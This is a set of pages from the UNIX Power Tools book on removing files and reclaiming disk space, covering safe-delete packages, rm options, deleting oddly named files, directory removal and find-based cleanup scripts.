The advantages of this system are that you don't have to create any new applications to do safe file removal - the standard rm program will automatically do the right thing, as will mv and any other programs that have the potential of erasing files. Even cat a b > a is recoverable.

A disadvantage of this system is that you have to have the source code for your UNIX system and be able to recompile its utilities in order to link them against the entomb libraries. Furthermore, if you wish to install this system on your machines, you have to be able to install it on all of them. If someone learns entomb on a machine you manage and then wants to use it on a workstation in a private lab for which you do not have source code, it can't be done. Also, there is a danger of people getting used to entomb being there to save them if they make mistakes, and then losing a file when they use rm or mv on a system that doesn't have entomb.

If you don't have strict control over all the machines on which you want to have file-deletion protection, or if you don't have source code and therefore can't use something like entomb, there are several other options available. One of them is the delete package, written at MIT.

delete
 delete overcomes several of the disadvantages of entomb. It is very simple, compiles on virtually any machine, and doesn't require any sort of superuser access to install. This means that if you learn to use delete on one system and then move somewhere else, you can take it with you by getting the source code and simply recompiling it on the new system. Furthermore, delete intentionally isn't named rm, so that people who use it know they are using it and therefore don't end up believing that files removed with rm can be recovered. However, this means that users have to be educated to use delete instead of rm when removing files.

delete works by renaming files with a prefix that marks them as deleted. For example, delete foo would simply rename the file foo to .#foo. Here's an example of the delete, undelete, lsdel, and expunge commands in action:

-A

The directory starts with three files:

% ls
a       b       c

One of the files is deleted:

% delete a

The deleted file doesn't show up with normal ls because the name
now starts with a dot (.). However, it shows up when files starting with .
are listed or when the lsdel command is used:

% ls
b       c
% ls -A
.#a     b       c
% lsdel
a

Bringing the file back with undelete leaves us back where we started:

% undelete a
% ls
a       b       c

We can delete everything:

% delete *
% lsdel
a  b  c

We can expunge individual files or the current working directory:

% expunge a
% lsdel
b  c
% expunge

After the last expunge, there are no files left at all:

% lsdel
% ls -A
%

The technique used by delete has some advantages and some disadvantages. The advantages include:

  • It works on any filesystem type - local, NFS, AFS, RFS, whatever. You don't have to have special daemons running on your file servers in order for it to work, and there are no daemons to go down and prevent deleted file archiving from taking place.

  • It maintains the directory locations in which deleted files are stored so that they can be undeleted in the same locations.

  • It maintains file permissions and ownership so that undeleted files can be restored with them. Furthermore, deleted files can be undeleted by anyone who had permission to delete them in the first place, not just by the one individual who deleted them.

Disadvantages include:

  • Deleted files are counted against a user's disk quota (24.17) until they are actually permanently removed (either by the system, a few days after they are deleted, or by the user with the expunge command that is part of the delete package). Some people would actually call this an advantage, because it prevents people from using deleted file space to store large files (something which is possible with entomb).

  • Deleted files show up when a user does ls -a. This is considered a relatively minor disadvantage by most people, especially since files starting with a dot (.) are supposed to be hidden (16.11) most of the time.

  • Deleted files have to be searched for in filesystem trees in order to expunge them, rather than all residing in one location as they do with entomb. This, too, is usually considered a minor disadvantage, since most systems already search the entire filesystem (23.22) each night automatically in order to delete certain temporary files.

  • Only the entomb program protects files. A user can still blow away a file with mv, cat a b > a, etc. If your main concern is eliminating accidental file deletions with rm, this isn't much of a problem; furthermore, it is not clear that the extra overhead required to run something like entomb is worth the advantage gained (even if it is possible to do what entomb needs at your site).

entomb and delete represent the two main approaches to the problem of protection from accidental file erasure. Other packages of this sort choose one or the other of these basic techniques in order to accomplish their purposes.

- JIK

Previous: 23.8 Safe Delete: Pros and Cons | UNIX Power Tools | Next: 23.10 Deletion with Prejudice: rm -f
23.8 Safe Delete: Pros and Cons | Book Index | 23.10 Deletion with Prejudice: rm -f
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.10 Deletion with Prejudice: rm -f

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.9 delete: Protecting Files from Accidental Deletion Chapter 23
Removing Files 		Next: 23.11 Deleting Files with Odd Names

23.10 Deletion with Prejudice: rm -f

The -f option to rm is the extreme opposite of -i (21.11). It says, "Just delete the file; don't ask me any questions." The "f" stands (allegedly) for "force," but this isn't quite right. rm -f won't force the deletion of something that you aren't allowed to delete. (To understand what you're allowed to delete, you need to understand file access permissions (22.2).)

What, then, does rm -f do, and why would you want to use it?

  • Normally, rm asks you for confirmation if you tell it to delete files to which you don't have write access - you'll get a message like Override protection 444 for foo? (The UNIX filesystem allows you to delete read-only files, provided you own the file and provided you have write access to the directory.) With -f, these files will be deleted silently.

  • Normally, rm's exit status (44.7) is 0 if it succeeded and 1 if it failed to delete the file. With -f, rm's return status is always 0.

I find that I rarely use rm -f on the UNIX command line, but I almost always use it within shell scripts. In a shell script, you (probably) don't want to be interrupted by lots of prompts should rm find a bunch of read-only files.

[You probably also don't want to be interrupted if rm -f tries to delete files that don't exist because the script never created them. In some UNIXes, rm -f will give an error here; in others, it won't. -JP]

- ML

Previous: 23.9 delete: Protecting Files from Accidental Deletion | UNIX Power Tools | Next: 23.11 Deleting Files with Odd Names
23.9 delete: Protecting Files from Accidental Deletion | Book Index | 23.11 Deleting Files with Odd Names
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.11 Deleting Files with Odd Names

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.10 Deletion with Prejudice: rm -f Chapter 23
Removing Files 		Next: 23.12 Using Wildcards to Delete Files with Strange Names

23.11 Deleting Files with Odd Names

A perennial problem is deleting files that have strange characters (or other oddities) in their names. The next few articles contain some hints for:

  • Deleting files with random control characters in their names (article 23.12).

  • Deleting files with a "null" name (article 23.13).

  • Deleting files whose names that start with a dash (article 23.14).

  • Deleting files with "unprintable" filenames (article 23.15).

  • Deleting files by using the inode number (article 23.16).

  • Deleting directories, and problems that can arise (article 23.17).

We'll also give hints for:

  • Deleting unused (or rarely used) files (articles 23.19 and 23.20).

  • Deleting all the files in a directory, except for one or two (article 23.21).

- ML

Previous: 23.10 Deletion with Prejudice: rm -f | UNIX Power Tools | Next: 23.12 Using Wildcards to Delete Files with Strange Names
23.10 Deletion with Prejudice: rm -f | Book Index | 23.12 Using Wildcards to Delete Files with Strange Names
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.12 Using Wildcards to Delete Files with Strange Names

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.11 Deleting Files with Odd Names Chapter 23
Removing Files 		Next: 23.13 Deleting Files with the Null Name

23.12 Using Wildcards to Delete Files with Strange Names

Filenames can be hard to handle if their names include control characters or characters that are special to the shell. Here's a directory with three oddball filenames:

% ls
What now
a$file
prog|.c
program.c

When you type those filenames on the command line, the shell interprets the special characters (space, dollar sign, and vertical bar) instead of including them as part of the filename. There are several ways (23.11) to handle this problem. One is with wildcards (15.2). Type a part of the filename without the weird characters and use a wildcard to match the rest. As article 8.5 explains, the shell doesn't scan the filenames for other special characters after it interprets the wildcards, so you're (usually) safe if you can get a wildcard to match. For example, here's how to rename What now to Whatnow, remove a$file, and rename prog|.c to prog.c:

% mv What* Whatnow
% rm -i a*
rm: remove a$file? y
% mv prog?.c prog.c

Filenames with control characters are just another version of the same problem. Use a wildcard to match the part of the name that's troubling you. The real problem with control characters with filenames is that some control characters do weird things to your screen. Once I accidentally got a file with a CTRL-L in its name. Whenever I ran ls, it erased the screen before I could see what the filename was! Article 16.14 explains that on a BSD-based UNIX system, you can use ls -q instead of a plain ls; on System V, use ls -b. It should be easy to spot the offensive file and construct a wildcard expression to rename or delete it. (ls -q is the default on many modern BSD UNIX implementations. So if you're a BSD user, you may never see this problem.)

- JP

Previous: 23.11 Deleting Files with Odd Names | UNIX Power Tools | Next: 23.13 Deleting Files with the Null Name
23.11 Deleting Files with Odd Names | Book Index | 23.13 Deleting Files with the Null Name
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.13 Deleting Files with the Null Name

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.12 Using Wildcards to Delete Files with Strange Names Chapter 23
Removing Files 		Next: 23.14 Handling a Filename Starting with a Dash (-)

23.13 Deleting Files with the Null Name

I write this article with fear and trepidation; I've never done this, and clri is strong medicine. However, it's something that needs to be said.

I've seen several reports about files with null names - they evidently arise through some bad interaction between PCs running NFS (1.33) and UNIX systems. [I've heard several reports of files with slashes (/) in their filenames. They came via NFS from Macintoshes. The method below should help with them. -JP] For lots of reasons, it's virtually impossible to delete a null-named file. The following technique has been recommended:

  • Use ls -ailF to find out the inode number (1.22) of the directory with the null filename.

  • Become superuser and dismount the filesystem that contains the directory with the null filename.

  • Use the command clri filesystem inode to "clear" the directory's inode, where inode is the inode number of the directory that contains the null filename and filesystem is the name of the filesystem that contains this directory.

  • Run fsck, and let it repair the damage.

- ML

Previous: 23.12 Using Wildcards to Delete Files with Strange Names | UNIX Power Tools | Next: 23.14 Handling a Filename Starting with a Dash (-)
23.12 Using Wildcards to Delete Files with Strange Names | Book Index | 23.14 Handling a Filename Starting with a Dash (-)
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.14 Handling a Filename Starting with a Dash (-)

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.13 Deleting Files with the Null Name Chapter 23
Removing Files 		Next: 23.15 Using unlink to Remove a File with a Strange Name

23.14 Handling a Filename Starting with a Dash (-)

Sometimes you can slip and create a file whose name starts with a dash (-), like -output or -f. That's a perfectly legal filename. The problem is that UNIX command options usually start with a dash (-). If you try to type that filename on a command line, the command might think you're trying to type a command option.

In almost every case, all you need to do is "hide" the dash from the command. Start the filename with ./ (dot slash). This doesn't change anything as far as the command is concerned; ./ just means "look in the current directory" (1.21). So here's how to remove the file -f:

% rm ./-f

(Most rm commands have a special option for dealing with filenames that start with a dash, but this trick should work on all UNIX commands.)

- JP

Previous: 23.13 Deleting Files with the Null Name | UNIX Power Tools | Next: 23.15 Using unlink to Remove a File with a Strange Name
23.13 Deleting Files with the Null Name | Book Index | 23.15 Using unlink to Remove a File with a Strange Name
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.15 Using unlink to Remove a File with a Strange Name

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.14 Handling a Filename Starting with a Dash (-) Chapter 23
Removing Files 		Next: 23.16 Removing a Strange File by its I-number

23.15 Using unlink to Remove a File with a Strange Name

Some versions of UNIX have a lot of trouble with eight-bit filenames - that is, filenames that contain non- ASCII (51.3) characters. The ls -q (16.14) command shows the non-ASCII characters as question marks (?), but usual tricks like rm -i * (23.12) skip right over the file. You can at least see exactly what the filename is by using od -c (25.7) to dump the current directory, using its relative pathname . (dot) (1.21), character by character. (Note: some versions of UNIX have an ls -b (16.14) option that will do the same thing as od -c, but a lot more easily.)

% ls -q
    ????
afile
bfile
% rm -i *
afile: ? n
bfile: ? n
% od -c .
   ...
00.....   \t 360 207 005 254  \0  \0  \0  \0  ...

If you can move all the other files out of the directory, then you'll probably be able to remove the leftover file and directory with rm -rf (23.17, 23.10). Moving files and removing the directory is a bad idea, though, if this is an important system directory like /bin.

Otherwise, if you can find the filename in the od listing of the directory (it will probably end with a series of NUL characters, like \0 \0 \0...), you might be able to remove it directly by using the system call unlink(2) in Perl. Put a backslash (\) before each of the octal bytes shown in the od output:

perl -e 'unlink("\t\360\207\005\254");'

If you don't have Perl, write a little C program (52.8):

% vi unlink.c
   ...
% cat unlink.c
main()
{
    unlink("\t\360\207\005\254");
}
% cc unlink.c
% ./a.out

Another ls will tell you whether your program worked (there probably won't be any error messages if it doesn't work).

- JP

Previous: 23.14 Handling a Filename Starting with a Dash (-) | UNIX Power Tools | Next: 23.16 Removing a Strange File by its I-number
23.14 Handling a Filename Starting with a Dash (-) | Book Index | 23.16 Removing a Strange File by its I-number
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.16 Removing a Strange File by its I-number

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.15 Using unlink to Remove a File with a Strange Name Chapter 23
Removing Files 		Next: 23.17 Problems Deleting Directories

23.16 Removing a Strange File by its I-number

If wildcards don't work (23.12) to remove a file with a strange name, try getting the file's i-number (1.22). Then use find's -inum operator (17.10) to remove the file.

Here's a directory with a weird filename. ls (with its default -q option (16.14) on BSD UNIX) shows that it has three unusual characters in it. Running ls -i shows each file's i-number. The strange file has i-number 6239. Give the i-number to find and the file is gone:

% ls
adir      afile     b???file  bfile     cfile     dfile
% ls -i
  6253 adir        6239 b???file    6249 cfile
  9291 afile       6248 bfile       9245 dfile
% find . -inum 6239 -exec rm {} \;
% ls
adir   afile  bfile  cfile  dfile

Instead of deleting the file, I could also have renamed it to newname with the command:

% find . -inum 6239 -exec mv {} newname \;

If the current directory has large subdirectories, you'll probably want to add the find -prune operator (17.23) for speed.

- JP

Previous: 23.15 Using unlink to Remove a File with a Strange Name | UNIX Power Tools | Next: 23.17 Problems Deleting Directories
23.15 Using unlink to Remove a File with a Strange Name | Book Index | 23.17 Problems Deleting Directories
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.17 Problems Deleting Directories

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.16 Removing a Strange File by its I-number Chapter 23
Removing Files 		Next: 23.18 How Making and Deleting Directories Works

23.17 Problems Deleting Directories

rmdir
What if you want to get rid of a directory? The standard way, and the safest way, to do this is to use the UNIX rmdir "remove directory" utility (or the GNU version on the CD-ROM):

% rmdir files

The rmdir command often confuses new users. It will only remove a directory if it is completely empty; otherwise, you'll get an error message:

% rmdir files
rmdir: files: Directory not empty
% ls files
%

As in the example, ls will often show that the directory is empty. What's going on?

It's common for editors and other programs to create "invisible" files (files with names beginning with a dot). The ls command normally doesn't list them; if you want to see them, you have to use ls -a (16.11):

% rmdir files
rmdir: files: Directory not empty
% ls -a files
.    ..    .BAK.textfile2

Here, we see that the directory wasn't empty after all: there's a backup file that was left behind by some editor. You may have used rm * to clean the directory out, but that won't work: rm also ignores files beginning with dots, unless you explicitly tell it to delete them. We really need a wildcard pattern like .??* (or more) (15.5):

% rmdir files
rmdir: files: Directory not empty
% ls -a files
.    ..    .BAK.textfile2
% rm files/.??*
% rmdir files
%

Other pitfalls might be files whose names consist of "non-printing" characters or blank spaces - sometimes these get created by accident or by malice (yes, some people think this is funny). Such files will usually give you "suspicious" ls output (16.13) (like a blank line).

If you don't want to worry about all these special cases, just use rm -r:

% rm -r files

This command removes the directory and everything that's in it, including other directories. A lot of people warn you about it; it's dangerous because it's easy to delete more than you realize. Personally, I use it all the time, and I've never made a mistake. I never bother with rmdir.

- ML

Previous: 23.16 Removing a Strange File by its I-number | UNIX Power Tools | Next: 23.18 How Making and Deleting Directories Works
23.16 Removing a Strange File by its I-number | Book Index | 23.18 How Making and Deleting Directories Works
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.18 How Making and Deleting Directories Works

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.17 Problems Deleting Directories Chapter 23
Removing Files 		Next: 23.19 Deleting (BSD) Manual Pages that Aren't Read

23.18 How Making and Deleting Directories Works

Every file in the UNIX filesystem - and a directory is just a file, albeit a rather special one - is represented by one inode (1.22) and one or more names (directory entries (18.2)). In a sense the inode is the file; each name is a link (18.4) to this inode. An ordinary file may have anywhere from one to several thousand links (the exact limit is system dependent), but a directory never has any fewer than two. Every directory has at least two names.

Suppose you start in /usr/tmp and do a mkdir x. What are the two links to x? They are /usr/tmp/x and /usr/tmp/x/., directory entries in /usr/tmp and /usr/tmp/x, respectively. This might seem rather odd at first: how can a directory name itself? It's not hard: first you create /usr/tmp/x, a completely empty directory, then link /usr/tmp/x to /usr/tmp/x/. and you're halfway done. All link does is take its first name and turn it into an inode - the file itself - then make a new entry for the second name, pointing to that inode. You must also link /usr/tmp to /usr/tmp/x/.. to make a properly formed directory. The mkdir program and system call both do all this properly; and there is no other way for anyone except the superuser (1.24) to create a directory.

Here is where the trouble creeps in. All unlink(2) does is take the name it is given, convert it to an inode, and remove the name. If the name was the last link to that inode, the file itself is destroyed as well; if not, it is left intact and may still be accessed by its other name(s). So what happens if you unlink a directory? Well, if it is completely empty, it goes away and everything is fine. However, if it still has . and .. in it - and it almost certainly will - things are not so good. The . link to the directory itself still exists, so the file that is the directory is not deleted. The name /usr/tmp/x is deleted, and that leaves us with a pretty problem: how can we get rid of that last . and ..?

The answer is that we cannot. That directory will stick around forever. Worse, it has in it another name for, or link to, /usr/tmp, which means that that, too, cannot be deleted. Of course, fsck (which does not use the regular filesystem mechanisms) can clean this up, but this usually requires a system shutdown. [fsck is a filesystem-checking program that the system administrator runs. -JP ] For this reason, again, only the superuser may unlink a directory. Ordinary processes must use the rmdir program or system call.

Incidentally, the mkdir(2) and rmdir(2) system calls do not exist on older UNIX systems. On these systems, you must use careful fork-exec (38.2) sequences to run the mkdir and rmdir programs.

- CT in net.unix on Usenet, 25 July 1986

Previous: 23.17 Problems Deleting Directories | UNIX Power Tools | Next: 23.19 Deleting (BSD) Manual Pages that Aren't Read
23.17 Problems Deleting Directories | Book Index | 23.19 Deleting (BSD) Manual Pages that Aren't Read
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.19 Deleting (BSD) Manual Pages that Aren't Read

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.18 How Making and Deleting Directories Works Chapter 23
Removing Files 		Next: 23.20 Deleting Stale Files

23.19 Deleting (BSD) Manual Pages that Aren't Read

The BSD man (50.1) command comes with unformatted manual pages in directories named /usr/man/man... or /usr/share/man.... It also has empty directories for formatted manual pages named /usr/man/cat... or /usr/share/cat.... As people use man to read different pages, the man command puts each formatted manual page in these cat directories so they don't have to be formatted the next time they're read. [1]

[1] Newer BSD releases, Net.2 and 4.4BSD, use a new manual page scheme. Only the preformatted "cat" files are used. (The unformatted versions are kept with the source, so that they will be updated to match any changes in the source... or at least, to encourage this.)

The formatted manual pages can take a lot of disk space, though. You can keep preformatted copies of "high-demand" manual entries by removing those that prove not to be in high demand:

-atime
find /usr/man/cat? -atime +5 -exec rm -f {} \;

- CT in comp.unix.questions on Usenet, 19 April 1987

Previous: 23.18 How Making and Deleting Directories Works | UNIX Power Tools | Next: 23.20 Deleting Stale Files
23.18 How Making and Deleting Directories Works | Book Index | 23.20 Deleting Stale Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.20 Deleting Stale Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.19 Deleting (BSD) Manual Pages that Aren't Read Chapter 23
Removing Files 		Next: 23.21 Removing Every File but One

23.20 Deleting Stale Files

Sooner or later, a lot of junk collects in your directories: files that you don't really care about and never use. It's possible to write find (17.1) commands that will automatically clean these up. If you want to clean up regularly, you can add some find commands to your crontab file (40.12).

Basically, all you need to do is write a find command that locates files based on their last access time (-atime (17.5)), and use -ok or -exec (17.10) to delete them. Such a command might look like this:

% find . -atime +60 -ok rm -f {} \;

This locates files that haven't been accessed in the last 60 days, asks if you want to delete the file, and then deletes the file. (If you run it from cron, make sure you use -exec instead of -ok; and make absolutely sure that the find won't delete files that you think are important.)

Of course, you can modify this find command to exclude (or select) files with particular names; for example, the command below deletes old core dumps and GNU Emacs backup files (whose names end in ~), but leaves all others alone:

% find . \( -name core -o -name "*~" \) -atime +60 -ok rm -f {} \;

If you take an automated approach to deleting stale files, here are some things to watch out for:

  • There are plenty of files (for example, UNIX utilities and log files) that should never be removed. Never run any "automatic deletion" script on /usr or / or any other "system" directory.

  • On some systems, executing a binary executable doesn't update the last access time. Since there's no reason to read these files, you can expect them to get pretty stale, even if they're used often. You don't want to delete them. If you cook up a complicated enough find command, you should be able to handle this automatically. Something like this should (at least partially) do the trick:

    ! -perm
    % find . -atime +30 ! -perm -111 ... -exec rm {} \;

  • Along the same lines, you'd probably never want to delete C source code, so you might modify your find command to look like this:

    % find . -atime +30 ! -perm -111 ! -name "*.c" ... -exec rm {} \;

  • I personally find that automatically deleting files is an extreme and bizarre solution. I can't imagine deleting files without knowing exactly what I've deleted or without (somehow) saving the "trash" somewhere just in case I accidentally removed something important. You can use the find -cpio operator (if your system has it) to archive (19.9) the deleted files on tape.

OK, I've said that I don't really think that automated deletion scripts are a good idea. What's my solution, then?

I don't have a good comprehensive solution. I spend a reasonable amount of time (maybe an hour a month) going through directories and deleting stale files by hand. I also have a clean alias that I type whenever I think about it. It looks like this:

alias clean "rm *~ junk *.BAK core #*"

That is, this alias deletes all of my Emacs (32.1) backup files, Emacs autosave files (I admit, that's risky), files named junk, some other backup files, and core dumps (52.9). I'll admit that since I never want to save these files, I could probably live with something like:

% find ~ \( -name "*~" -o -name core \) -atime +1 -exec rm {} \;

But still: automated deletion commands make me really nervous, and I'd prefer to live without them.

- ML

Previous: 23.19 Deleting (BSD) Manual Pages that Aren't Read | UNIX Power Tools | Next: 23.21 Removing Every File but One
23.19 Deleting (BSD) Manual Pages that Aren't Read | Book Index | 23.21 Removing Every File but One
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.21 Removing Every File but One

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.20 Deleting Stale Files Chapter 23
Removing Files 		Next: 23.22 Using find to Clear Out Unneeded Files

23.21 Removing Every File but One

One problem with UNIX: it's not terribly good at "excluding" things. There's no option to rm that says, "Do what you will with everything else, but please don't delete these files." You can sometimes create a complex wildcard expression (1.16) that does what you want - but sometimes that's a lot of work, or maybe even impossible.

Here's one place where UNIX's command substitution (9.16) operators (backquotes) come to the rescue. You can use use ls to list all the files, pipe the output into a grep -v or egrep -v (27.3) command, and then use backquotes to give the resulting list to rm. Here's what this command would look like:

% rm -i `ls -d *.txt | grep -v '^john\.txt$'`

[Actually, when you're matching just one filename, fgrep -v -x (27.6) might be better. -JP ] This command deletes all files whose names end in .txt, except for john.txt. I've probably been more careful than you need to be about making sure there aren't any extraneous matches; in most cases, grep -v john would probably suffice. Using ls -d (16.8) makes sure that ls doesn't look into any subdirectories and give you those filenames. The rm -i (21.11) asks you before removing each file; if you're sure of yourself, omit the -i.

Of course, if you want to exclude two files, you can do that with egrep:

% rm `ls -d *.txt | egrep -v 'john|mary'`

(Not all egrep implementations support the -v option. Don't forget to quote the vertical bar (|), to prevent the shell from piping egrep's output to mary.)

Another solution is the nom (15.9) script.

- ML

Previous: 23.20 Deleting Stale Files | UNIX Power Tools | Next: 23.22 Using find to Clear Out Unneeded Files
23.20 Deleting Stale Files | Book Index | 23.22 Using find to Clear Out Unneeded Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 23] 23.22 Using find to Clear Out Unneeded Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.21 Removing Every File but One Chapter 23
Removing Files 		Next: 24. Other Ways to Get Disk Space

23.22 Using find to Clear Out Unneeded Files

Do you run find on your machine every night? Do you know what it has to go through just to find out if a file is three days old and smaller than 10 blocks or owned by "fred" or setuid root? This is why I tried to combine all the things we need done for removal of files into one big find script:

2>&1

#! /bin/sh
#
# cleanup - find files that should be removed and clean them
# out of the file system.

find / \(    \( -name '#*'                 -atime +1 \)  \
        -o   \( -name ',*'                 -atime +1 \)  \
        -o   \( -name rogue.sav            -atime +7 \)  \
        -o   \(      \( -name '*.bak'                    \
                     -o -name '*.dvi'                    \
                     -o -name '*.CKP'                    \
                     -o -name '.*.bak'                   \
                     -o -name '.*.CKP' \)  -atime +3 \)  \
        -o   \( -name '.emacs_[0-9]*'      -atime +7 \)  \
        -o   \( -name core                           \)  \
        -o   \( -user guest                -atime +9 \)  \
\) -print -exec rm -f {} \; > /tmp/.cleanup 2>&1

[This is an example of using a single find command to search for files with different names and last-access times (see article 17.5). As Chris points out, doing it all with one find is much faster, and less work for the disk, than running a lot of separate finds. The parentheses group each part of the expression. The neat indentation makes this big thing easier to read. The -print -exec at the end removes each file and also writes the filenames to standard output, where they're collected into a file named /tmp/.cleanup-people can read it to see what files were removed. You should probably be aware that printing the names to /tmp/.cleanup lets everyone see pathnames, like /home/joe/personal/resume.bak, that some people might consider sensitive. Another thing to be aware of is that this find command starts at the root directory; you can do the same thing for your own directories. -JP ]

- CT in net.unix-wizards on Usenet, 9 June 1985

Previous: 23.21 Removing Every File but One | UNIX Power Tools | Next: 24. Other Ways to Get Disk Space
23.21 Removing Every File but One | Book Index | 24. Other Ways to Get Disk Space
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] Other Ways to Get Disk Space

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 23.22 Using find to Clear Out Unneeded Files Chapter 24 Next: 24.2 Save Space with Bit Bucket Log Files and Mailboxes

24. Other Ways to Get Disk Space

Contents:
Instead of Removing a File, Empty It
Save Space with Bit Bucket Log Files and Mailboxes
Unlinking Open Files Isn't a Good Idea
Save Space with a Link
Limiting File Sizes
Save Space with Tab Characters
Compressing Files to Save Space
Save Space: tar and compress a Directory Tree
How Much Disk Space?
zloop: Run a Command on Compressed Files
Edit Compressed Files with zvi, zex, and zed
Compressing a Directory Tree: Fine-Tuning
Save Space in Executable Files with strip
Don't Use strip Carelessly
Trimming a Directory
Trimming a Huge Directory
Disk Quotas
Huge Files Might Not Take a Lot of Disk Space

24.1 Instead of Removing a File, Empty It

Sometimes you don't want to remove a file completely - you just want to empty it:

  • When you remove a file and create a new one with the same name, the new file will have your default permissions (22.4) and ownership (22.3). It's better to empty the file now, then add new text later; this won't change the permissions and ownership.

  • Completely empty files (ones that ls -l says have zero characters) don't take any disk space to store (except the few bytes that the directory entry (18.2) uses).

  • You can use the empty files as "place markers" to remind you that something was there or belongs there. Some UNIX logging programs won't write errors to their log files unless the log files already exist. Empty files work fine for that.

  • Empty files hold a "timestamp" (just as files with text do) that shows when the file was last modified. I use empty files in some directories to remind me when I've last done something (backups, printouts (21.9), etc.). The find -newer (17.8, 17.9) command can compare other files to a timestamp file.

Well, you get the idea by now.

How can you empty a file? Watch out: when some editors say that a file has "no lines," they may still append a newline character when writing the file. Just one character still takes a block of disk space to store. Better:

  • In the Bourne shell, the most efficient way is to redirect the output of a null command:

    $ > afile

    If the file already exists, that command will truncate the file without needing a subprocess.

  • In the C shell copy the UNIX empty file, /dev/null (13.14), on top of the file:

    % cp /dev/null afile

You can also "almost" empty the file, leaving just a few lines, this way:

tail

% tail afile > tmpfile
% cat tmpfile > afile
% rm tmpfile

That's especially good for log files that you never want to delete completely. Use cat and rm, not mv-mv will break the link to the original file (afile) and replace it with the temporary file.

- JP

Previous: 23.22 Using find to Clear Out Unneeded Files | UNIX Power Tools | Next: 24.2 Save Space with Bit Bucket Log Files and Mailboxes
23.22 Using find to Clear Out Unneeded Files | Book Index | 24.2 Save Space with Bit Bucket Log Files and Mailboxes
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.2 Save Space with Bit Bucket Log Files and Mailboxes

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 24.1 Instead of Removing a File, Empty It Chapter 24
Other Ways to Get Disk Space 		Next: 24.3 Unlinking Open Files Isn't a Good Idea

24.2 Save Space with Bit Bucket Log Files and Mailboxes

Some UNIX programs - usually background or daemon programs - insist on writing a log file. You might not want the log file itself as much as you want the disk space that the log file takes. Here are a few tips:

  • Some programs will write to a log file only if the log file exists. If the program isn't running, try removing the log file.

  • If you remove a log file and the program recreates it, look for command-line options or a configuration file setup that tells the program not to make the log file.

  • If your system has symbolic links (18.4), try replacing the log file with a symbolic link to /dev/null (13.14):

    # rm logfile
# ln -s /dev/null logfile

    If you're lucky, the program won't complain and will throw all its messages in the bit bucket. Watch out for programs that run at reboot or from the system crontab (40.12) to truncate and replace the log file. These programs might replace the symbolic link with a small regular file that will start growing again.

  • Does a system mailbox for a user like uucp keep getting mail (1.33) that you want to throw away? You may be able to add a .forward file to the account's home directory with this single line:

    /dev/null

    Or add an alias in the system mail alias file that does the same thing:

    uucp: /dev/null

    If your system has a command like newaliases to rebuild the alias database, don't forget to use it after you make the change.

- JP

Previous: 24.1 Instead of Removing a File, Empty It | UNIX Power Tools | Next: 24.3 Unlinking Open Files Isn't a Good Idea
24.1 Instead of Removing a File, Empty It | Book Index | 24.3 Unlinking Open Files Isn't a Good Idea
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 24] 24.3 Unlinking Open Files Isn't a Good Idea

